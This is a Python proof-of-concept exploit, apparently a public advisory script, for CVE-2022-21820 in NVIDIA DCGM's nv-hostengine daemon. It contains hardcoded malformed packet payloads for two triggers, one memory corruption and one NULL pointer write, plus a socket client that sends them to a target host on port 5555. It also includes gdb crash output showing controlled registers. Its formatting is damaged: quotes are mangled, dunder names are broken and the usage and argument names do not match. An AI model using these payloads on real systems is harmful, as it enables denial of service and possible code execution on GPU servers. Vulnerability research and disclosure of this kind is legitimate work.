#!/usr/bin/python3

-- coding: UTF-8 --

heart.py

NVIDIA Data Center GPU Manager Remote Memory Corruption Vulnerability

Jeremy Brown [jbrown3264/gmail]

NVIDIA DCGM runs on machines with NVIDIA GPUs to gather telemetry and GPU health

data. nv-hostengine is a daemon that by default listens on the loopback interface,

but can also listen on the network for requests coming in on port 5555 (remote mgmt).

A native client named DCGMI allows users to make requests to the daemon to support

a variety of functions. Malformed packets can cause the daemon (running as root

or user account) to crash or potentially result in code execution.

More info: https://docs.nvidia.com/datacenter/dcgm/latest/index.html

Tested on Ubuntu 20.04 x64 with package datacenter-gpu-manager v2.3.1 (< v2.3.5 affected)

$ ./heart.py 10.0.0.201 --trigger pkt3-mem

$ gdb which nv-hostengine

(gdb) r -b ALL -n

nv-hostengine running as non-root. Some functionality will be limited.

Started host engine version 2.3.1 using port number: 5555

…

Thread 2 “nv-hostengine” received signal SIGSEGV, Segmentation fault.

(gdb) i r

rax 0x7ffbb3dbd010 140719031046160

rbx 0x7ffff771ac70 140737344810096

rcx 0x7ffbb3dbd010 140719031046160

rdx 0x424242420 17786217504

rsi 0x7ffff771aee4 140737344810724

rdi 0x7ffbb3dbd010 140719031046160

rbp 0x7ffff771ac40 0x7ffff771ac40

rsp 0x7ffff771abe8 0x7ffff771abe8

r8 0x424242420 17786217504

r9 0x0 0

r10 0x7ffbb3dbd010 140719031046160

CVE‑2022‑21820

import os
import sys
import argparse
import time
import shutil
import signal
import socket

DEFAULT_PORT = 5555

PKT_START = b’\xad\xbc\xbc\xad’

Trigger #1: Memory Corruption via malformed packet 3

TRIGGER_ONE_PKT_1 = PKT_START + \
b’\x01\x00\x00\x00\x11\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\x0f\x08\x03\x10\x03\x18\x00\x28\x00\x42\x05\xc2\x01\x02\x08\x00’

TRIGGER_ONE_PKT_2 = PKT_START + \
b’\x01\x00\x00\x00\x1a\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x0a\x18\x08\x03\x10\x03\x18\x00\x28\x00\x42\x05\xc2\x01\x02\x08\x00\x48\xa4\xec\xc4\x94\x81\x83\xf5\x02’

0x84 maps to ‘B’ here and crashes with rdx/r8=0x424242420

TRIGGER_ONE_PKT_3 = PKT_START + \
b’\x03\x00\x00\x00\x3a\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\xb7\x06\x08\x38\x10\x03\x18\x00\x28\x00\x42\xac\x06\xaa\x01\xa8\x06\x28\x03\x00\x01\x00’ + \
b’\x84’ * 51 + \
b’\x00’ * 488 + \
b’\x19\x00\x00\x00\x9e\x00\x9f\x00\xa4\x00\xa0\x00\xa3\x00\xa2\x00\xa1\x00\x82\x00\x36\x00\x55\x00\x52\x00\x33\x00\x32\x00\x35\x00\x39\x00\x3a\x00\x3b\x00\x5a\x00\xfa\x00\xfc\x00\xfb\x00\x01\x00\xf4\x01\x42\x00\x43’ + \
b’\x00’ * 207 + \
b’\x01\x00\x00\x00’

Trigger #2: NULL ptr write via malformed packet 4

TRIGGER_TWO_PKT_1 = TRIGGER_ONE_PKT_1

TRIGGER_TWO_PKT_2 = TRIGGER_ONE_PKT_2

TRIGGER_TWO_PKT_3 = PKT_START + \
b’\x03\x00\x00\x00\x3a\x03\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\xb7\x06\x08\x38\x10\x03\x18\x00\x28\x00\x42\xac\x06\xaa\x01\xa8\x06\x28\x03\x00\x01’ + \
b’\x00’ * 12 + \
b’\x01\x00\x00\x00\x01’ + \
b’\x00’ * 523 + \
b’\x19\x00\x00\x00\x9e\x00\x9f\x00\xa4\x00\xa0\x00\xa3\x00\xa2\x00\xa1\x00\x82\x00\x36\x00\x55\x00\x52\x00\x33\x00\x32\x00\x35\x00\x39\x00\x3a\x00\x3b\x00\x5a\x00\xfa\x00\xfc\x00\xfb\x00\x01\x00\xf4\x01\x42\x00\x43’ + \
b’\x00’ * 207 + \
b’\x01\x00\x00\x00’

0x79 triggers crash

TRIGGER_TWO_PKT_4 = PKT_START + \
b’\x04\x00\x00\x00\x1c\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x0a\x1a\x08\x04\x10\x03\x18’ + \
b’\xff’ * 9 + \
b’\x01’ + \
b’\x79’ + \
b’\x00\x42\x07\xd2\x01\x04\x08\x03\x10\x00’

class Heart(object):
def init(self, args):
self.host = args.host
self.trigger = args.trigger

def run(self):  
    if(self.trigger == None):  
        print("error: choose which bug use via --trigger")  
        return -1

    sock = self.getSock()

    if(sock == None):  
        return -1

    try:  
        sock.connect((self.host, DEFAULT_PORT))  
    except Exception as error:  
        print("connect() failed: %s\n" % error)  
        return -1

    if(self.trigger == 'pkt3_mem'):  
        if(self.sendPacket(sock, TRIGGER_ONE_PKT_1) < 0):  
            print("failed to send/recv packet 1\n")  
            return -1

        if(self.sendPacket(sock, TRIGGER_ONE_PKT_2) < 0):  
            print("failed to send/recv packet 2\n")  
            return -1

        if(self.sendPacket(sock, TRIGGER_ONE_PKT_3) < 0):  
            print("failed to send/recv packet 3\n")  
            return -1

    if(self.trigger == 'pkt4_null'):  
        if(self.sendPacket(sock, TRIGGER_TWO_PKT_1) < 0):  
            print("failed to send/recv packet 1\n")  
            return -1

        if(self.sendPacket(sock, TRIGGER_TWO_PKT_2) < 0):  
            print("failed to send/recv packet 2\n")  
            return -1

        if(self.sendPacket(sock, TRIGGER_TWO_PKT_3) < 0):  
            print("failed to send/recv packet 3\n")  
            return -1

        if(self.sendPacket(sock, TRIGGER_TWO_PKT_4) < 0):  
            print("failed to send/recv packet 4\n")  
            return -1

    print("done\n")

    return 0

def getSock(self):  
    try:  
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)  
        sock.settimeout(2)  
    except Exception as error:  
        print("socket() failed: %s\n" % error)  
        return None

    return sock

def sendPacket(self, sock, pkt):  
    try:  
        sock.send(pkt)  
    except Exception as error:  
        print("socket send error: %s\n" % error)  
        return -1

    try:  
        sock.recv(256)  
    except Exception as error:  
        # print("socket recv error: %s\n" % error)  
        return 0 # expected for pkt3_mem

    return 0

def signalExit(signum, frame):
sys.exit(-1)

def arg_parse():
parser = argparse.ArgumentParser()

parser.add_argument("host",  
                    type=str,  
                    help="target host")

parser.add_argument("--trigger",  
                    "--trigger",  
          type=str,  
          choices=['pkt3_mem', 'pkt4_null'],  
          help="which bug to trigger")

args = parser.parse_args()

return args

def main():
signal.signal(signal.SIGINT, signalExit)

args = arg_parse()

rh = Heart(args)

result = rh.run()

if(result > 0):  
    sys.exit(-1)

if(name == 'main'):
main()